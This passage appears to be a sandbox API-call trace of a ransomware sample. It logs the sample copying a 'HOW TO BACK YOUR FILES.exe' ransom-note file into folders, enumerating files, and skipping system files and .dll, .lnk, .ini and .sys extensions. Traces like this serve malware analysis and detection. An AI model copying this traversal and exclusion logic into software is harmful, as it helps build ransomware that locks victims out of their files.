	[0061.728] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.755] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cdf14d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cdf14d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.755] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.755] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.755] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.755] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cdf14d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cdf14d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.755] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.755] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.755] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.755] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.755] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1
	[0061.755] lstrcmpiW (lpString1="activity16v.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.755] lstrcmpiW (lpString1="activity16v.png", lpString2="Apollon865.txt.exe") returned -1
	[0061.755] lstrcmpiW (lpString1="activity16v.png", lpString2=".") returned 1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="..") returned 1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="windows") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="bootmgr") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="temp") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="pagefile.sys") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="boot") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="ids.txt") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="ntuser.dat") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="perflogs") returned -1
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2="MSBuild") returned -1
	[0061.756] lstrlenW (lpString="activity16v.png") returned 15
	[0061.756] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*") returned 65
	[0061.756] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="activity16v.png" | out: lpString1="activity16v.png") returned="activity16v.png"
	[0061.756] lstrlenW (lpString="activity16v.png") returned 15
	[0061.756] lstrlenW (lpString="Apollon865") returned 10
	[0061.756] lstrcmpiW (lpString1="ity16v.png", lpString2="Apollon865") returned 1
	[0061.756] lstrlenW (lpString=".dll") returned 4
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2=".dll") returned 1
	[0061.756] lstrlenW (lpString=".lnk") returned 4
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2=".lnk") returned 1
	[0061.756] lstrlenW (lpString=".ini") returned 4
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2=".ini") returned 1
	[0061.756] lstrlenW (lpString=".sys") returned 4
	[0061.756] lstrcmpiW (lpString1="activity16v.png", lpString2=".sys") returned 1
	[0061.756] lstrlenW (lpString="activity16v.png") returned 15
	[0061.756] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="add_down.png" | out: lpString1="add_down.png") returned="add_down.png"
	[0061.756] lstrlenW (lpString="add_down.png") returned 12
	[0061.756] lstrlenW (lpString="Apollon865") returned 10
	[0061.757] lstrcmpiW (lpString1="d_down.png", lpString2="Apollon865") returned 1
	[0061.757] lstrlenW (lpString=".dll") returned 4
	[0061.757] lstrcmpiW (lpString1="add_down.png", lpString2=".dll") returned 1
	[0061.757] lstrlenW (lpString=".lnk") returned 4
	[0061.757] lstrcmpiW (lpString1="add_down.png", lpString2=".lnk") returned 1
	[0061.757] lstrlenW (lpString=".ini") returned 4
	[0061.757] lstrcmpiW (lpString1="add_down.png", lpString2=".ini") returned 1
	[0061.757] lstrlenW (lpString=".sys") returned 4
	[0061.757] lstrcmpiW (lpString1="add_down.png", lpString2=".sys") returned 1
	[0061.757] lstrlenW (lpString="add_down.png") returned 12
	[0061.757] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="add_over.png" | out: lpString1="add_over.png") returned="add_over.png"
	[0061.757] lstrlenW (lpString="add_over.png") returned 12
	[0061.757] lstrlenW (lpString="Apollon865") returned 10
	[0061.757] lstrcmpiW (lpString1="d_over.png", lpString2="Apollon865") returned 1
	[0061.757] lstrlenW (lpString=".dll") returned 4
	[0061.757] lstrcmpiW (lpString1="add_over.png", lpString2=".dll") returned 1
	[0061.757] lstrlenW (lpString=".lnk") returned 4
	[0061.757] lstrcmpiW (lpString1="add_over.png", lpString2=".lnk") returned 1
	[0061.757] lstrlenW (lpString=".ini") returned 4
	[0061.757] lstrcmpiW (lpString1="add_over.png", lpString2=".ini") returned 1
	[0061.757] lstrlenW (lpString=".sys") returned 4
	[0061.757] lstrcmpiW (lpString1="add_over.png", lpString2=".sys") returned 1
	[0061.757] lstrlenW (lpString="add_over.png") returned 12
	[0061.757] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="add_up.png" | out: lpString1="add_up.png") returned="add_up.png"
	[0061.757] lstrlenW (lpString="add_up.png") returned 10
	[0061.757] lstrlenW (lpString="Apollon865") returned 10
	[0061.757] lstrlenW (lpString=".dll") returned 4
	[0061.757] lstrcmpiW (lpString1="add_up.png", lpString2=".dll") returned 1
	[0061.757] lstrlenW (lpString=".lnk") returned 4
	[0061.757] lstrcmpiW (lpString1="add_up.png", lpString2=".lnk") returned 1
	[0061.758] lstrlenW (lpString=".ini") returned 4
	[0061.758] lstrcmpiW (lpString1="add_up.png", lpString2=".ini") returned 1
	[0061.758] lstrlenW (lpString=".sys") returned 4
	[0061.758] lstrcmpiW (lpString1="add_up.png", lpString2=".sys") returned 1
	[0061.758] lstrlenW (lpString="add_up.png") returned 10
	[0061.758] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="base-docked.png" | out: lpString1="base-docked.png") returned="base-docked.png"
	[0061.758] lstrlenW (lpString="base-docked.png") returned 15
	[0061.758] lstrlenW (lpString="Apollon865") returned 10
	[0061.758] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0061.758] lstrlenW (lpString=".dll") returned 4
	[0061.758] lstrcmpiW (lpString1="base-docked.png", lpString2=".dll") returned 1
	[0061.758] lstrlenW (lpString=".lnk") returned 4
	[0061.758] lstrcmpiW (lpString1="base-docked.png", lpString2=".lnk") returned 1
	[0061.758] lstrlenW (lpString=".ini") returned 4
	[0061.758] lstrcmpiW (lpString1="base-docked.png", lpString2=".ini") returned 1
	[0061.758] lstrlenW (lpString=".sys") returned 4
	[0061.758] lstrcmpiW (lpString1="base-docked.png", lpString2=".sys") returned 1
	[0061.758] lstrlenW (lpString="base-docked.png") returned 15
	[0061.758] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="base-undocked-2.png" | out: lpString1="base-undocked-2.png") returned="base-undocked-2.png"
	[0061.758] lstrlenW (lpString="base-undocked-2.png") returned 19
	[0061.758] lstrlenW (lpString="Apollon865") returned 10
	[0061.758] lstrcmpiW (lpString1="cked-2.png", lpString2="Apollon865") returned 1
	[0061.758] lstrlenW (lpString=".dll") returned 4
	[0061.758] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".dll") returned 1
	[0061.758] lstrlenW (lpString=".lnk") returned 4
	[0061.758] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".lnk") returned 1
	[0061.758] lstrlenW (lpString=".ini") returned 4
	[0061.758] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".ini") returned 1
	[0061.758] lstrlenW (lpString=".sys") returned 4
	[0061.758] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".sys") returned 1
	[0061.758] lstrlenW (lpString="base-undocked-2.png") returned 19
	[0061.759] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="base-undocked-3.png" | out: lpString1="base-undocked-3.png") returned="base-undocked-3.png"
	[0061.759] lstrlenW (lpString="base-undocked-3.png") returned 19
	[0061.759] lstrlenW (lpString="Apollon865") returned 10
	[0061.759] lstrcmpiW (lpString1="cked-3.png", lpString2="Apollon865") returned 1
	[0061.759] lstrlenW (lpString=".dll") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".dll") returned 1
	[0061.759] lstrlenW (lpString=".lnk") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".lnk") returned 1
	[0061.759] lstrlenW (lpString=".ini") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".ini") returned 1
	[0061.759] lstrlenW (lpString=".sys") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".sys") returned 1
	[0061.759] lstrlenW (lpString="base-undocked-3.png") returned 19
	[0061.759] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="base-undocked-4.png" | out: lpString1="base-undocked-4.png") returned="base-undocked-4.png"
	[0061.759] lstrlenW (lpString="base-undocked-4.png") returned 19
	[0061.759] lstrlenW (lpString="Apollon865") returned 10
	[0061.759] lstrcmpiW (lpString1="cked-4.png", lpString2="Apollon865") returned 1
	[0061.759] lstrlenW (lpString=".dll") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".dll") returned 1
	[0061.759] lstrlenW (lpString=".lnk") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".lnk") returned 1
	[0061.759] lstrlenW (lpString=".ini") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".ini") returned 1
	[0061.759] lstrlenW (lpString=".sys") returned 4
	[0061.759] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".sys") returned 1
	[0061.759] lstrlenW (lpString="base-undocked-4.png") returned 19
	[0061.759] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="combo-hover-left.png" | out: lpString1="combo-hover-left.png") returned="combo-hover-left.png"
	[0061.759] lstrlenW (lpString="combo-hover-left.png") returned 20
	[0061.759] lstrlenW (lpString="Apollon865") returned 10
	[0061.759] lstrcmpiW (lpString1="r-left.png", lpString2="Apollon865") returned 1
	[0061.760] lstrlenW (lpString=".dll") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".dll") returned 1
	[0061.760] lstrlenW (lpString=".lnk") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".lnk") returned 1
	[0061.760] lstrlenW (lpString=".ini") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".ini") returned 1
	[0061.760] lstrlenW (lpString=".sys") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".sys") returned 1
	[0061.760] lstrlenW (lpString="combo-hover-left.png") returned 20
	[0061.760] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="combo-hover-middle.png" | out: lpString1="combo-hover-middle.png") returned="combo-hover-middle.png"
	[0061.760] lstrlenW (lpString="combo-hover-middle.png") returned 22
	[0061.760] lstrlenW (lpString="Apollon865") returned 10
	[0061.760] lstrcmpiW (lpString1="middle.png", lpString2="Apollon865") returned 1
	[0061.760] lstrlenW (lpString=".dll") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".dll") returned 1
	[0061.760] lstrlenW (lpString=".lnk") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".lnk") returned 1
	[0061.760] lstrlenW (lpString=".ini") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".ini") returned 1
	[0061.760] lstrlenW (lpString=".sys") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".sys") returned 1
	[0061.760] lstrlenW (lpString="combo-hover-middle.png") returned 22
	[0061.760] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="combo-hover-right.png" | out: lpString1="combo-hover-right.png") returned="combo-hover-right.png"
	[0061.760] lstrlenW (lpString="combo-hover-right.png") returned 21
	[0061.760] lstrlenW (lpString="Apollon865") returned 10
	[0061.760] lstrcmpiW (lpString1="-right.png", lpString2="Apollon865") returned 1
	[0061.760] lstrlenW (lpString=".dll") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".dll") returned 1
	[0061.760] lstrlenW (lpString=".lnk") returned 4
	[0061.760] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".lnk") returned 1
	[0061.760] lstrlenW (lpString=".ini") returned 4
	[0061.761] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".ini") returned 1
	[0061.761] lstrlenW (lpString=".sys") returned 4
	[0061.761] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".sys") returned 1
	[0061.761] lstrlenW (lpString="combo-hover-right.png") returned 21
	[0061.761] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="delete_down.png" | out: lpString1="delete_down.png") returned="delete_down.png"
	[0061.761] lstrlenW (lpString="delete_down.png") returned 15
	[0061.761] lstrlenW (lpString="Apollon865") returned 10
	[0061.761] lstrcmpiW (lpString1="e_down.png", lpString2="Apollon865") returned 1
	[0061.761] lstrlenW (lpString=".dll") returned 4
	[0061.761] lstrcmpiW (lpString1="delete_down.png", lpString2=".dll") returned 1
	[0061.761] lstrlenW (lpString=".lnk") returned 4
	[0061.800] lstrcmpiW (lpString1="delete_down.png", lpString2=".lnk") returned 1
	[0061.800] lstrlenW (lpString=".ini") returned 4
	[0061.801] lstrcmpiW (lpString1="delete_down.png", lpString2=".ini") returned 1
	[0061.801] lstrlenW (lpString=".sys") returned 4
	[0061.802] lstrcmpiW (lpString1="delete_down.png", lpString2=".sys") returned 1
	[0061.802] lstrlenW (lpString="delete_down.png") returned 15
	[0061.802] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="delete_over.png" | out: lpString1="delete_over.png") returned="delete_over.png"
	[0061.802] lstrlenW (lpString="delete_over.png") returned 15
	[0061.802] lstrlenW (lpString="Apollon865") returned 10
	[0061.802] lstrcmpiW (lpString1="e_over.png", lpString2="Apollon865") returned 1
	[0061.802] lstrlenW (lpString=".dll") returned 4
	[0061.802] lstrcmpiW (lpString1="delete_over.png", lpString2=".dll") returned 1
	[0061.803] lstrlenW (lpString=".lnk") returned 4
	[0061.803] lstrcmpiW (lpString1="delete_over.png", lpString2=".lnk") returned 1
	[0061.803] lstrlenW (lpString=".ini") returned 4
	[0061.803] lstrcmpiW (lpString1="delete_over.png", lpString2=".ini") returned 1
	[0061.803] lstrlenW (lpString=".sys") returned 4
	[0061.803] lstrcmpiW (lpString1="delete_over.png", lpString2=".sys") returned 1
	[0061.803] lstrlenW (lpString="delete_over.png") returned 15
	[0061.803] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="delete_up.png" | out: lpString1="delete_up.png") returned="delete_up.png"
	[0061.803] lstrlenW (lpString="delete_up.png") returned 13
	[0061.803] lstrlenW (lpString="Apollon865") returned 10
	[0061.803] lstrcmpiW (lpString1="ete_up.png", lpString2="Apollon865") returned 1
	[0061.803] lstrlenW (lpString=".dll") returned 4
	[0061.803] lstrcmpiW (lpString1="delete_up.png", lpString2=".dll") returned 1
	[0061.803] lstrlenW (lpString=".lnk") returned 4
	[0061.803] lstrcmpiW (lpString1="delete_up.png", lpString2=".lnk") returned 1
	[0061.803] lstrlenW (lpString=".ini") returned 4
	[0061.803] lstrcmpiW (lpString1="delete_up.png", lpString2=".ini") returned 1
	[0061.803] lstrlenW (lpString=".sys") returned 4
	[0061.803] lstrcmpiW (lpString1="delete_up.png", lpString2=".sys") returned 1
	[0061.803] lstrlenW (lpString="delete_up.png") returned 13
	[0061.803] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="graph_down.png" | out: lpString1="graph_down.png") returned="graph_down.png"
	[0061.803] lstrlenW (lpString="graph_down.png") returned 14
	[0061.803] lstrlenW (lpString="Apollon865") returned 10
	[0061.803] lstrcmpiW (lpString1="h_down.png", lpString2="Apollon865") returned 1
	[0061.803] lstrlenW (lpString=".dll") returned 4
	[0061.803] lstrcmpiW (lpString1="graph_down.png", lpString2=".dll") returned 1
	[0061.803] lstrlenW (lpString=".lnk") returned 4
	[0061.803] lstrcmpiW (lpString1="graph_down.png", lpString2=".lnk") returned 1
	[0061.803] lstrlenW (lpString=".ini") returned 4
	[0061.803] lstrcmpiW (lpString1="graph_down.png", lpString2=".ini") returned 1
	[0061.803] lstrlenW (lpString=".sys") returned 4
	[0061.803] lstrcmpiW (lpString1="graph_down.png", lpString2=".sys") returned 1
	[0061.804] lstrlenW (lpString="graph_down.png") returned 14
	[0061.804] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="graph_over.png" | out: lpString1="graph_over.png") returned="graph_over.png"
	[0061.804] lstrlenW (lpString="graph_over.png") returned 14
	[0061.804] lstrlenW (lpString="Apollon865") returned 10
	[0061.804] lstrcmpiW (lpString1="h_over.png", lpString2="Apollon865") returned 1
	[0061.804] lstrlenW (lpString=".dll") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_over.png", lpString2=".dll") returned 1
	[0061.804] lstrlenW (lpString=".lnk") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_over.png", lpString2=".lnk") returned 1
	[0061.804] lstrlenW (lpString=".ini") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_over.png", lpString2=".ini") returned 1
	[0061.804] lstrlenW (lpString=".sys") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_over.png", lpString2=".sys") returned 1
	[0061.804] lstrlenW (lpString="graph_over.png") returned 14
	[0061.804] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="graph_up.png" | out: lpString1="graph_up.png") returned="graph_up.png"
	[0061.804] lstrlenW (lpString="graph_up.png") returned 12
	[0061.804] lstrlenW (lpString="Apollon865") returned 10
	[0061.804] lstrcmpiW (lpString1="aph_up.png", lpString2="Apollon865") returned -1
	[0061.804] lstrlenW (lpString=".dll") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_up.png", lpString2=".dll") returned 1
	[0061.804] lstrlenW (lpString=".lnk") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_up.png", lpString2=".lnk") returned 1
	[0061.804] lstrlenW (lpString=".ini") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_up.png", lpString2=".ini") returned 1
	[0061.804] lstrlenW (lpString=".sys") returned 4
	[0061.804] lstrcmpiW (lpString1="graph_up.png", lpString2=".sys") returned 1
	[0061.804] lstrlenW (lpString="graph_up.png") returned 12
	[0061.804] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="info.png" | out: lpString1="info.png") returned="info.png"
	[0061.804] lstrlenW (lpString="info.png") returned 8
	[0061.805] lstrlenW (lpString="Apollon865") returned 10
	[0061.805] lstrlenW (lpString=".dll") returned 4
	[0061.805] lstrcmpiW (lpString1="info.png", lpString2=".dll") returned 1
	[0061.805] lstrlenW (lpString=".lnk") returned 4
	[0061.805] lstrcmpiW (lpString1="info.png", lpString2=".lnk") returned 1
	[0061.805] lstrlenW (lpString=".ini") returned 4
	[0061.805] lstrcmpiW (lpString1="info.png", lpString2=".ini") returned 1
	[0061.805] lstrlenW (lpString=".sys") returned 4
	[0061.805] lstrcmpiW (lpString1="info.png", lpString2=".sys") returned 1
	[0061.805] lstrlenW (lpString="info.png") returned 8
	[0061.805] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="row_over.png" | out: lpString1="row_over.png") returned="row_over.png"
	[0061.805] lstrlenW (lpString="row_over.png") returned 12
	[0061.805] lstrlenW (lpString="Apollon865") returned 10
	[0061.805] lstrcmpiW (lpString1="w_over.png", lpString2="Apollon865") returned 1
	[0061.805] lstrlenW (lpString=".dll") returned 4
	[0061.805] lstrcmpiW (lpString1="row_over.png", lpString2=".dll") returned 1
	[0061.805] lstrlenW (lpString=".lnk") returned 4
	[0061.805] lstrcmpiW (lpString1="row_over.png", lpString2=".lnk") returned 1
	[0061.805] lstrlenW (lpString=".ini") returned 4
	[0061.805] lstrcmpiW (lpString1="row_over.png", lpString2=".ini") returned 1
	[0061.805] lstrlenW (lpString=".sys") returned 4
	[0061.805] lstrcmpiW (lpString1="row_over.png", lpString2=".sys") returned 1
	[0061.805] lstrlenW (lpString="row_over.png") returned 12
	[0061.805] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="triangle.png" | out: lpString1="triangle.png") returned="triangle.png"
	[0061.805] lstrlenW (lpString="triangle.png") returned 12
	[0061.805] lstrlenW (lpString="Apollon865") returned 10
	[0061.805] lstrcmpiW (lpString1="iangle.png", lpString2="Apollon865") returned 1
	[0061.805] lstrlenW (lpString=".dll") returned 4
	[0061.805] lstrcmpiW (lpString1="triangle.png", lpString2=".dll") returned 1
	[0061.805] lstrlenW (lpString=".lnk") returned 4
	[0061.806] lstrcmpiW (lpString1="triangle.png", lpString2=".lnk") returned 1
	[0061.806] lstrlenW (lpString=".ini") returned 4
	[0061.806] lstrcmpiW (lpString1="triangle.png", lpString2=".ini") returned 1
	[0061.806] lstrlenW (lpString=".sys") returned 4
	[0061.806] lstrcmpiW (lpString1="triangle.png", lpString2=".sys") returned 1
	[0061.806] lstrlenW (lpString="triangle.png") returned 12
	[0061.806] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US"
	[0061.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.806] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0061.806] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned 62
	[0061.806] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US"
	[0061.806] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.806] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.810] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3ce89a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ce89a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.810] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.810] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.810] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.810] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3ce89a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ce89a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.810] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.810] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.810] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.810] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.811] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="Apollon865.txt.exe") returned 1
	[0061.811] lstrcmpiW (lpString1="css", lpString2=".") returned 1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="..") returned 1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="windows") returned -1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="temp") returned -1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="pagefile.sys") returned -1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="boot") returned 1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="ids.txt") returned -1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="perflogs") returned -1
	[0061.811] lstrcmpiW (lpString1="css", lpString2="MSBuild") returned -1
	[0061.811] lstrlenW (lpString="css") returned 3
	[0061.811] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*") returned 64
	[0061.811] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="css" | out: lpString1="css") returned="css"
	[0061.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0061.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0061.811] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
